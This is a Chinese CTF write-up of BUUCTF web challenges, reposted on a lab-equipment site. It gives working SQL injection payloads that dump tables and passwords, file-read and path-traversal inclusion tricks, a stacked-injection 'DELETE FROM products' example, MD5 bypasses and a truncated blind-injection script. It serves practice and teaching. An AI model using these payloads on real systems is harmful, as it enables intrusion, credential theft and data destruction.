【BUUCTF刷题】Web解题方法总结(一)

您所在的位置:网站首页 结论类型的题怎么做 【BUUCTF刷题】Web解题方法总结(一)

【BUUCTF刷题】Web解题方法总结(一)

2024-07-15 23:41:54| 来源: 网络整理| 查看: 265

文章目录 前言信息搜集SQL缺省代码审计SQL注入常规流程BUUCTF HardSQL堆叠注入使用MD5函数实现sql注入例题BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World(SQL盲注,PHP)[GYCTF2020]Blacklist [堆叠注入] Ping命令nc tornado文件上传解法 [MRCTF]你传你🐎呢 HTTPPHP序列化和反序列化buu NiZhuanSiWeiBUUCTF [网鼎杯 2020 青龙组]AreUSerialz SSRF

前言 边刷题边总结些知识点,还在更新,冲! 信息搜集

1.dirsearch使用 下载地址:https://github.com/maurosoria/dirsearch 切换到安装目录

py dirsearch.py -u 网址 -e 语言(一般用*)

-u 指定url -e 指定网站语言

SQL缺省

payload:*,1

查询语句:select *,1||flag from Flag

解题思路2: payload:1;set sql_mode=PIPES_AS_CONCAT;select 1

解析:

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。 但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能。

代码审计

1.使用php伪协议读文件内容。使用filter过滤器

?file=php://filter/convert.base64-encode/resource=flag.php

例题:BUUCTFweb Secret File 在这里插入图片描述 抓包

phpmyadmin 4.8.1的一个远程文件包含的漏洞(CVE) 白名单验证: 例题:BUUCTF web warmup 示例代码如下: $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) ##不能为空 && is_string($_REQUEST['file']) ##是字符串 && emmm::checkFile($_REQUEST['file']) ##上面checkfile返回为true ) { include $_REQUEST['file']; exit; } else { echo ""; } ?>

分析

checkfile()函数 定义了一个白名单:source.php和hint.php,判断 $page是否为空、是否为字符串。 判断 $page是否在白名单里,若存在返回true; 考虑到page有参数的情况, $_page是取出 $page问号前的东西,然后再判断 $_page是否在白名单里,若存在则返回true;两个函数一个mb_substr和mb_strpos,总的意思就是截取变量page中?前面的字符串,然后再进行白名单校验。 之后是url二次编码问题,需要将?进行二次url编码 所以构造payload:

file=hint.php%253f/../../../../../../../../ffffllllaaaagggg 或者 file=hint.php?file://../../../../../ffffllllaaaagggg 因为服务器会自动解一次码,所以 $page的值为hint.php%3f../../../../../../../../ffffllllaaaagggg,又一次url解码后,$_page的值为hint.php?../../../../../../../../ffffllllaaaagggg,然后截取问号前面的hint.php判断在白名单里返回true。 SQL注入 常规流程

使用hackbar 1.判断是字符型还是数字型

'or 1=1 #

如果是整形,他的报错信息应为 " ’ " 那我们需要闭合,由于这个题目没有过滤任何sql注入的关键字,我们直接用 %23(#)来进行闭合sql语句

2.爆列数

?username=1&password=11' order by 3%23 一般为3时有回显,字段数为3

3.爆库

?username=1&password=11' union select 1,version(),database()%23

4.爆表名

?username=123&password=111' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

5.爆表

?username=1&&password=1'union select 1,2,group_concat(id,username,password) from l0ve1ysq1 # 或 ?username=1&&password=1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from l0ve1ysq1%23

ps:功能函数 1.concat_ws()函数 功能:一次性指定分隔符 语法:concat_ws(separator,str1,str2,…) 说明:第一个参数指定分隔符 分隔符不能为空 如果为NULL 则返回值NULL 2.concat()函数 功能:将多个字符串拼接成一个字符串 语法:concat(str1,str2,…) 返回结果为连接参数产生的字符串 如果有任何一个参数为NULL 则返回值NULL 3.group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] ) 即按需求打印内容

BUUCTF HardSQL

一个字符一个字符试发现很多字符如and,union都被过滤 因为空格被过滤,用()分割语句达到代替空格的效果。=被过滤,可以用like替代。尝试用updatexml报错注入

check.php?username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=2 爆出库名 在这里插入图片描述爆表名 check.php?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x7e),1))%23&password=2

在这里插入图片描述

爆列名 check.php?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1))%23&password=2

在这里插入图片描述

因为updataxml限制语句为32位,而flag长度大于32位,所以用left和right函数拼接 前半部分 check.php?username=1'or(updatexml(1,concat(0x7e,(select((left(password,30)))from(H4rDsq1)),0x7e),1))%23&password=2 后半部分 ![check.php?username=1'or(updatexml(1,concat(0x7e,(select((right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=2](https://img-blog.csdnimg.cn/20210405154340430.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1ODM0NTA1,size_16,color_FFFFFF,t_70)

在这里插入图片描述 在这里插入图片描述

参考文章:【extractvalue报错注入】https://blog.csdn.net/qin9800/article/details/113446035

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。 而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

查看表的语句,在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符

1’;desc 1919810931114514;

知识点1:堆叠注入 在SQL中,分号是用来表示一条sql语句的结束。如果在 ; 结束一个sql语句后继续构造下一条语句,效果就是分别执行两条sql语句。由于两条语句堆叠在同一行,而不是原本应该各自占据一行,所以这种注入成为堆叠注入。

知识点2 当数字型字符作为字段、表、库名查询时,应该用反单引号括起来

mysql预处理语句

PREPARE sqla from '[my sql sequece]'; 预定义SQL语句 EXECUTE sqla; 执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE sqla; 删除预定义SQL语句

通过变量进行传递 SET @tn = ‘flag’; 存储表名 SET @sql = concat('select * from ', @tn); 存储SQL语句 PREPARE sqla from @sql; 预定义SQL语句 EXECUTE sqla; 执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE sqla; 删除预定义SQL语句

PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。 准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。

使用MD5函数实现sql注入

BUUCTF easy MD5 1.知识点: (1)MD5函数在加密ffifdyop后返回原始字符串’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c ,另外mysql中以数字开头的字符串会被当做整形处理例如‘6abc’=6。 (2)md5绕过:因为md5不能处理数组,会返回NULL,因为NULL=NULL,可以实现绕过,传入数组,使得 md5 处理两个参数都返回 0 即可: payload:?a[]=1&b[]=2 或者传入两个md5处理后以0e开头的字符串

下列的字符串的MD5值都是0e开头的: QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a

2.解题 随便输入后抓包发现Hint中有提示 在这里插入图片描述 利用md5特性传入ffifdyop,使得select语句为:

select * from 'admin' where password=' 'or '6'

这样就相当于sql语句为永真实现注入 得到 在这里插入图片描述 访问页面发现了php页面 在这里插入图片描述 利用md5绕过得到 在这里插入图片描述 访问页面同样为一个md5绕过的php页面,易得flag

例题 BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World(SQL盲注,PHP) 题目描述: 在这里插入图片描述已知表名和列名,并且发现过滤了很多sql字符,尝试注入 1^(ascii(substr((select(flag)from(flag)),1,1))>1)^1

奉上大佬脚本

import requests import time url = "http://f0c8caf0-fc27-454e-83bc-a557d1891b94.node3.buuoj.cn/index.php" temp = {"id" : ""} flag = "" for i in range(1,1000): time.sleep(0.06) low = 32 high =128 mid = (low+high)//2 while(low


【本文地址】

公司简介

联系我们

今日新闻


点击排行

实验室常用的仪器、试剂和
说到实验室常用到的东西,主要就分为仪器、试剂和耗
不用再找了,全球10大实验
01、赛默飞世尔科技(热电)Thermo Fisher Scientif
三代水柜的量产巅峰T-72坦
作者:寞寒最近,西边闹腾挺大,本来小寞以为忙完这
通风柜跟实验室通风系统有
说到通风柜跟实验室通风,不少人都纠结二者到底是不
集消毒杀菌、烘干收纳为一
厨房是家里细菌较多的地方,潮湿的环境、没有完全密
实验室设备之全钢实验台如
全钢实验台是实验室家具中较为重要的家具之一,很多

推荐新闻


图片新闻

实验室药品柜的特性有哪些
实验室药品柜是实验室家具的重要组成部分之一,主要
小学科学实验中有哪些教学
计算机 计算器 一般 打孔器 打气筒 仪器车 显微镜
实验室各种仪器原理动图讲
1.紫外分光光谱UV分析原理:吸收紫外光能量,引起分
高中化学常见仪器及实验装
1、可加热仪器:2、计量仪器:(1)仪器A的名称:量
微生物操作主要设备和器具
今天盘点一下微生物操作主要设备和器具,别嫌我啰嗦
浅谈通风柜使用基本常识
 众所周知,通风柜功能中最主要的就是排气功能。在

专题文章

    CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭